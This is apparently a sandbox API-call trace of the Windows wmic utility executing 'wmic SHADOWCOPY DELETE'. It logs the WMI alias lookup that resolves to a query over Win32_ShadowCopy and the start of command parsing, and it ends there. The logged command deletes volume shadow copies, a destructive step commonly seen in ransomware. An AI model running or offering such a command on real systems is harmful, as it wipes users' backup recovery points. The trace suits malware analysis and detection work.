[0060.931] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.931] malloc (_Size=0x30) returned 0x16fbd1fa650 [0060.932] malloc (_Size=0x18) returned 0x16fbd1fded0 [0060.932] free (_Block=0x16fbd1fded0) [0060.932] malloc (_Size=0x18) returned 0x16fbd1fdb70 [0060.932] malloc (_Size=0x18) returned 0x16fbd1fde30 [0060.932] SysStringLen (param_1="htable-sortby") returned 0xd [0060.932] SysStringLen (param_1="TABLE") returned 0x5 [0060.932] SysStringLen (param_1="htable-sortby") returned 0xd [0060.932] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.932] SysStringLen (param_1="htable-sortby") returned 0xd [0060.932] SysStringLen (param_1="XML") returned 0x3 [0060.932] SysStringLen (param_1="htable-sortby") returned 0xd [0060.932] SysStringLen (param_1="texttablewsys") returned 0xd [0060.932] SysStringLen (param_1="htable-sortby") returned 0xd [0060.933] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.933] SysStringLen (param_1="XML") returned 0x3 [0060.933] SysStringLen (param_1="htable-sortby") returned 0xd [0060.933] malloc (_Size=0x30) returned 0x16fbd1fa7d0 [0060.933] malloc (_Size=0x18) returned 0x16fbd1fdb30 [0060.933] free (_Block=0x16fbd1fdb30) [0060.933] malloc (_Size=0x18) returned 0x16fbd1fded0 [0060.933] malloc (_Size=0x18) returned 0x16fbd1fdf70 [0060.933] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.933] SysStringLen (param_1="TABLE") returned 0x5 [0060.933] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.934] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.934] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.934] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.934] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.934] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.934] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.934] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.934] malloc (_Size=0x30) returned 0x16fbd1fac10 [0060.934] malloc (_Size=0x18) returned 0x16fbd1fdc50 [0060.934] free (_Block=0x16fbd1fdc50) [0060.934] malloc (_Size=0x18) returned 0x16fbd1fe0d0 [0060.934] malloc (_Size=0x18) returned 0x16fbd1fdd10 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] SysStringLen (param_1="TABLE") returned 0x5 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0060.935] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.935] SysStringLen (param_1="wmiclimofformat") returned 0xf [0060.935] malloc (_Size=0x30) returned 0x16fbd1fa710 [0060.935] malloc (_Size=0x18) returned 0x16fbd1fdd90 [0060.936] free (_Block=0x16fbd1fdd90) [0060.936] malloc (_Size=0x18) returned 0x16fbd1fdcf0 [0060.943] malloc (_Size=0x18) returned 0x16fbd1fe0f0 [0060.943] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.943] SysStringLen (param_1="TABLE") returned 0x5 [0060.943] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.943] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.943] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.943] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.943] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.943] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.943] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.943] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.943] malloc (_Size=0x30) returned 0x16fbd1fa990 [0060.944] malloc (_Size=0x18) returned 0x16fbd1fdb90 [0060.944] free (_Block=0x16fbd1fdb90) [0060.944] malloc (_Size=0x18) returned 0x16fbd1fda70 [0060.944] malloc (_Size=0x18) returned 0x16fbd1fdfd0 [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] SysStringLen (param_1="TABLE") returned 0x5 [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0060.944] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.944] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0060.944] malloc (_Size=0x30) returned 0x16fbd1facd0 [0060.945] FreeThreadedDOMDocument:IUnknown:Release (This=0x16fbd1394b0) returned 0x1 [0060.945] FreeThreadedDOMDocument:IUnknown:Release (This=0x16fbd136f20) returned 0x0 [0060.945] free (_Block=0x16fbd1fb380) [0060.945] GetCommandLineW () returned="wmic SHADOWCOPY DELETE" [0060.953] malloc (_Size=0x30) returned 0x16fbd1fa5d0 [0060.953] memcpy_s (in: _Destination=0x16fbd1fa5d0, _DestinationSize=0x2e, _Source=0x16fbcf221ac, _SourceSize=0x2e | out: _Destination=0x16fbd1fa5d0) returned 0x0 [0060.953] malloc (_Size=0x18) returned 0x16fbd1fdc50 [0060.954] malloc (_Size=0x18) returned 0x16fbd1fe010 [0060.954] malloc (_Size=0x18) returned 0x16fbd1fe0b0 [0060.954] malloc (_Size=0x18) returned 0x16fbd1fdbd0 [0060.954] malloc (_Size=0x80) returned 0x16fbd1fb560 [0060.954] GetLocalTime (in: lpSystemTime=0x1f1a0efb18 | out: lpSystemTime=0x1f1a0efb18*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x4, wDay=0x17, wHour=0x16, wMinute=0x28, wSecond=0x7, wMilliseconds=0x93)) [0060.954] _vsnwprintf (in: _Buffer=0x16fbd1fb560, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1f1a0ef9c8 | out: _Buffer="05-23-2019T22:40:07") returned 19 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] malloc (_Size=0x28) returned 0x16fbd1f6150 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] malloc (_Size=0x28) returned 0x16fbd1fe190 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.954] malloc (_Size=0x16) returned 0x16fbd1fdef0 [0060.954] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.955] _wcsicmp (_String1="SHADOWCOPY", _String2="\"NULL\"") returned 81 [0060.955] malloc (_Size=0x16) returned 0x16fbd1fe110 [0060.955] malloc (_Size=0x8) returned 0x16fbd1fe1c0 [0060.955] free (_Block=0x0) [0060.955] free (_Block=0x16fbd1fdef0) [0060.955] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0060.955] malloc (_Size=0xe) returned 0x16fbd1fde10 [0060.955] lstrlenW (lpString="DELETE") returned 6 [0060.955] _wcsicmp (_String1="DELETE", _String2="\"NULL\"") returned 66 [0060.955] malloc (_Size=0xe) returned 0x16fbd1fe130 [0060.955] malloc (_Size=0x10) returned 0x16fbd1fe150 [0060.955] memmove_s (in: _Destination=0x16fbd1fe150, _DestinationSize=0x8, _Source=0x16fbd1fe1c0, _SourceSize=0x8 | out: _Destination=0x16fbd1fe150) returned 0x0 [0060.955] free (_Block=0x16fbd1fe1c0) [0060.955] free (_Block=0x0) [0060.955] free (_Block=0x16fbd1fde10) [0060.955] malloc (_Size=0x10) returned 0x16fbd1fe070 [0060.955] lstrlenW (lpString="QUIT") returned 4 [0060.955] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.955] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0060.956] lstrlenW (lpString="EXIT") returned 4 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0060.956] free (_Block=0x16fbd1fe070) [0060.956] WbemLocator:IUnknown:AddRef (This=0x16fbcf3c2b0) returned 0x2 [0060.956] malloc (_Size=0x10) returned 0x16fbd1fde90 [0060.956] lstrlenW (lpString="/") returned 1 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0060.956] lstrlenW (lpString="-") returned 1 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0060.956] lstrlenW (lpString="CLASS") returned 5 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0060.956] lstrlenW (lpString="PATH") returned 4 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0060.956] lstrlenW (lpString="CONTEXT") returned 7 [0060.956] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.957] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0060.957] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.957] malloc (_Size=0x16) returned 0x16fbd1fdcd0 [0060.957] lstrlenW (lpString="SHADOWCOPY") returned 10 [0060.957] GetCurrentThreadId () returned 0xddc [0060.957] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef880 [0060.957] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0060.957] malloc (_Size=0x18) returned 0x16fbd1fda90 [0060.957] WbemLocator:IWbemLocator:ConnectServer (in: This=0x16fbcf3c2b0, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff678d57898 | out: ppNamespace=0x7ff678d57898*=0x16fbcf94250) returned 0x0 [0062.344] free (_Block=0x16fbd1fda90) [0062.344] free (_Block=0x16fbd1fd9d0) [0062.344] CoSetProxyBlanket (pProxy=0x16fbcf94250, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0062.345] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0062.345] GetCurrentThreadId () returned 0xddc [0062.345] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef718 [0062.345] malloc (_Size=0x18) returned 0x16fbd1fdf50 [0062.345] malloc (_Size=0x18) returned 0x16fbd1fdd70 [0062.345] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0062.345] malloc (_Size=0x18) returned 0x16fbd1fdbb0 [0062.345] SysStringLen (param_1="root\\cli") returned 0x8 [0062.345] SysStringLen (param_1="\\") returned 0x1 [0062.345] malloc (_Size=0x18) returned 0x16fbd1fde70 [0062.345] SysStringLen (param_1="root\\cli\\") returned 0x9 [0062.345] SysStringLen (param_1="ms_409") returned 0x6 [0062.345] free (_Block=0x16fbd1fdbb0) [0062.346] free (_Block=0x16fbd1fd9d0) [0062.346] free (_Block=0x16fbd1fdd70) [0062.346] free (_Block=0x16fbd1fdf50) [0062.346] malloc (_Size=0x18) returned 0x16fbd1fe030 [0062.346] WbemLocator:IWbemLocator:ConnectServer (in: This=0x16fbcf3c2b0, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff678d578a0 | out: ppNamespace=0x7ff678d578a0*=0x16fbcf947f0) returned 0x0 [0062.691] free (_Block=0x16fbd1fe030) [0062.691] free (_Block=0x16fbd1fde70) [0062.691] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0062.691] GetCurrentThreadId () returned 0xddc [0062.692] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef898 [0062.692] malloc (_Size=0x18) returned 0x16fbd1fdc10 [0062.692] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0062.692] malloc (_Size=0x18) returned 0x16fbd1fda50 [0062.692] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0062.692] malloc (_Size=0x3a) returned 0x16fbd1fec80 [0062.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff678d3ac40, cbMultiByte=-1, lpWideCharStr=0x16fbd1fec80, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0062.692] free (_Block=0x16fbd1fec80) [0062.692] malloc (_Size=0x18) returned 0x16fbd1fdb50 [0062.692] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0062.692] SysStringLen (param_1="SHADOWCOPY") returned 0xa [0062.692] malloc (_Size=0x18) returned 0x16fbd1fdef0 [0062.692] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='SHADOWCOPY") returned 0x26 [0062.692] SysStringLen (param_1="'") returned 0x1 [0062.693] free (_Block=0x16fbd1fdb50) [0062.693] free (_Block=0x16fbd1fda50) [0062.693] free (_Block=0x16fbd1fd9d0) [0062.693] free (_Block=0x16fbd1fdc10) [0062.693] IWbemServices:GetObject (in: This=0x16fbcf94250, strObjectPath="MSFT_CliAlias.FriendlyName='SHADOWCOPY'", lFlags=0, pCtx=0x0, ppObject=0x1f1a0ef7c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1f1a0ef7c0*=0x16fbcfa5380, ppCallResult=0x0) returned 0x0 [0063.466] malloc (_Size=0x18) returned 0x16fbd1fdf10 [0063.466] IWbemClassObject:Get (in: This=0x16fbcfa5380, wszName="Target", lFlags=0, pVal=0x1f1a0ef7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.467] free (_Block=0x16fbd1fdf10) [0063.467] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0063.467] malloc (_Size=0x3e) returned 0x16fbd1fec80 [0063.467] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0063.467] malloc (_Size=0x18) returned 0x16fbd1fe030 [0063.467] IWbemClassObject:Get (in: This=0x16fbcfa5380, wszName="PWhere", lFlags=0, pVal=0x1f1a0ef7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.467] free (_Block=0x16fbd1fe030) [0063.467] lstrlenW (lpString=" Where ID = '#'") returned 15 [0063.467] malloc (_Size=0x20) returned 0x16fbd1fecd0 [0063.467] lstrlenW (lpString=" Where ID = '#'") returned 15 [0063.467] malloc (_Size=0x18) returned 0x16fbd1fddb0 [0063.468] IWbemClassObject:Get (in: This=0x16fbcfa5380, wszName="Connection", lFlags=0, pVal=0x1f1a0ef7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef7d8*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16fbcfa5630, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.468] free (_Block=0x16fbd1fddb0) [0063.468] IUnknown:QueryInterface (in: This=0x16fbcfa5630, riid=0x7ff678d40598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1f1a0ef7c8 | out: ppvObject=0x1f1a0ef7c8*=0x16fbcfa5630) returned 0x0 [0063.468] GetCurrentThreadId () returned 0xddc [0063.468] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef6e8 [0063.468] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0063.468] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="Namespace", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.468] free (_Block=0x16fbd1fd9d0) [0063.468] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0063.468] malloc (_Size=0x16) returned 0x16fbd1fddf0 [0063.468] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0063.468] malloc (_Size=0x18) returned 0x16fbd1fe030 [0063.468] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="Locale", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16fbcf847b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.468] free (_Block=0x16fbd1fe030) [0063.468] lstrlenW (lpString="ms_409") returned 6 [0063.469] malloc (_Size=0xe) returned 0x16fbd1fdd70 [0063.469] lstrlenW (lpString="ms_409") returned 6 [0063.469] malloc (_Size=0x18) returned 0x16fbd1fda90 [0063.469] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="User", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16fbcf847b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.469] free (_Block=0x16fbd1fda90) [0063.469] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0063.469] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="Password", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.469] free (_Block=0x16fbd1fd9d0) [0063.469] malloc (_Size=0x18) returned 0x16fbd1fde10 [0063.469] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="Server", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.469] free (_Block=0x16fbd1fde10) [0063.469] lstrlenW (lpString=".") returned 1 [0063.469] malloc (_Size=0x4) returned 0x16fbd1fed00 [0063.470] lstrlenW (lpString=".") returned 1 [0063.470] malloc (_Size=0x18) returned 0x16fbd1fdf10 [0063.470] IWbemClassObject:Get (in: This=0x16fbcfa5630, wszName="Authority", lFlags=0, pVal=0x1f1a0ef6f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16fbcf847b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.470] free (_Block=0x16fbd1fdf10) [0063.470] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0063.470] IUnknown:Release (This=0x16fbcfa5630) returned 0x1 [0063.470] GetCurrentThreadId () returned 0xddc [0063.470] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef6e8 [0063.470] malloc (_Size=0x18) returned 0x16fbd1fdf50 [0063.470] IWbemClassObject:Get (in: This=0x16fbcfa5380, wszName="__RELPATH", lFlags=0, pVal=0x1f1a0ef6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef6f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0063.470] free (_Block=0x16fbd1fdf50) [0063.470] malloc (_Size=0x18) returned 0x16fbd1fdc10 [0063.470] GetCurrentThreadId () returned 0xddc [0063.471] ??0CHString@@QEAA@XZ () returned 0x1f1a0ef5b8 [0063.471] ??0CHString@@QEAA@PEBG@Z () returned 0x1f1a0ef5d0 [0063.471] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1f1a0ef548 [0063.471] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0063.471] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x16fbd1fed20 [0063.471] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0063.471] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1f1a0ef558 [0063.471] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1f1a0ef550 [0063.471] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1f1a0ef5d0 [0063.471] ??1CHString@@QEAA@XZ () returned 0x1 [0063.471] ??1CHString@@QEAA@XZ () returned 0x1 [0063.471] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1f1a0ef520 [0063.471] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1f1a0ef548 [0063.471] ??1CHString@@QEAA@XZ () returned 0x1 [0063.471] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x16fbd1fed90 [0063.471] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0063.472] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1f1a0ef558 [0063.472] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1f1a0ef550 [0063.472] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1f1a0ef5d0 [0063.472] ??1CHString@@QEAA@XZ () returned 0x1 [0063.472] ??1CHString@@QEAA@XZ () returned 0x1 [0063.472] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1f1a0ef520 [0063.472] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1f1a0ef548 [0063.472] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0063.472] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ff9295f6740 [0063.472] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0063.472] malloc (_Size=0x18) returned 0x16fbd1fdaf0 [0063.472] malloc (_Size=0x18) returned 0x16fbd1fdcb0 [0063.472] malloc (_Size=0x18) returned 0x16fbd1fdff0 [0063.472] malloc (_Size=0x18) returned 0x16fbd1fd9d0 [0063.472] malloc (_Size=0x18) returned 0x16fbd1fe030 [0063.472] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0063.472] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0063.473] malloc (_Size=0x18) returned 0x16fbd1fd9f0 [0063.473] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0063.473] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0063.473] malloc (_Size=0x18) returned 0x16fbd1fdbf0 [0063.473] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0063.473] SysStringLen (param_1="\"") returned 0x1 [0063.473] free (_Block=0x16fbd1fd9f0) [0063.473] free (_Block=0x16fbd1fe030) [0063.473] free (_Block=0x16fbd1fd9d0) [0063.473] free (_Block=0x16fbd1fdff0) [0063.473] free (_Block=0x16fbd1fdcb0) [0063.474] free (_Block=0x16fbd1fdaf0) [0063.474] IWbemServices:GetObject (in: This=0x16fbcf947f0, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1f1a0ef598*=0x0, ppCallResult=0x0 | out: ppObject=0x1f1a0ef598*=0x16fbcfa5c10, ppCallResult=0x0) returned 0x0 [0064.868] malloc (_Size=0x18) returned 0x16fbd1fde50 [0064.868] IWbemClassObject:Get (in: This=0x16fbcfa5c10, wszName="Text", lFlags=0, pVal=0x1f1a0ef5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1f1a0ef5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16fbcf897d0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x16fbcf85ad0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0064.868] free (_Block=0x16fbd1fde50) [0064.868] SafeArrayGetLBound (in: psa=0x16fbcf897d0, nDim=0x1, plLbound=0x1f1a0ef5ac | out: plLbound=0x1f1a0ef5ac) returned 0x0 [0064.868] SafeArrayGetUBound (in: psa=0x16fbcf897d0, nDim=0x1, plUbound=0x1f1a0ef5b0 | out: plUbound=0x1f1a0ef5b0) returned 0x0 [0064.868] SafeArrayGetElement (in: psa=0x16fbcf897d0, rgIndices=0x1f1a0ef5a8, pv=0x1f1a0ef5c0 | out: pv=0x1f1a0ef5c0) returned 0x0 [0064.868] malloc (_Size=0x18) returned 0x16fbd1fdd90 [0064.868] malloc (_Size=0x18) returned 0x16fbd1fdad0 [0064.868] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0064.869] free (_Block=0x16fbd1fdd90) [0064.869] IUnknown:Release (This=0x16fbcfa5c10) returned 0x0 [0064.869] free (_Block=0x16fbd1fdbf0) [0064.869] ??1CHString@@QEAA@XZ () returned 0x1 [0064.869] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0064.869] free (_Block=0x16fbd1fdc10) [0064.869] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0064.869] lstrlenW (lpString="Shadow copy management.") returned 23 [0064.869] malloc (_Size=0x30) returned 0x16fbd1fa9d0 [0064.869] lstrlenW (lpString="Shadow copy management.") returned 23 [0064.869] free (_Block=0x16fbd1fdad0) [0064.869] IUnknown:Release (This=0x16fbcfa5380) returned 0x0 [0064.869] free (_Block=0x16fbd1fdef0) [0064.869] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0064.869] lstrlenW (lpString="PATH") returned 4 [0064.869] lstrlenW (lpString="DELETE") returned 6 [0064.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0064.869] lstrlenW (lpString="WHERE") returned 5 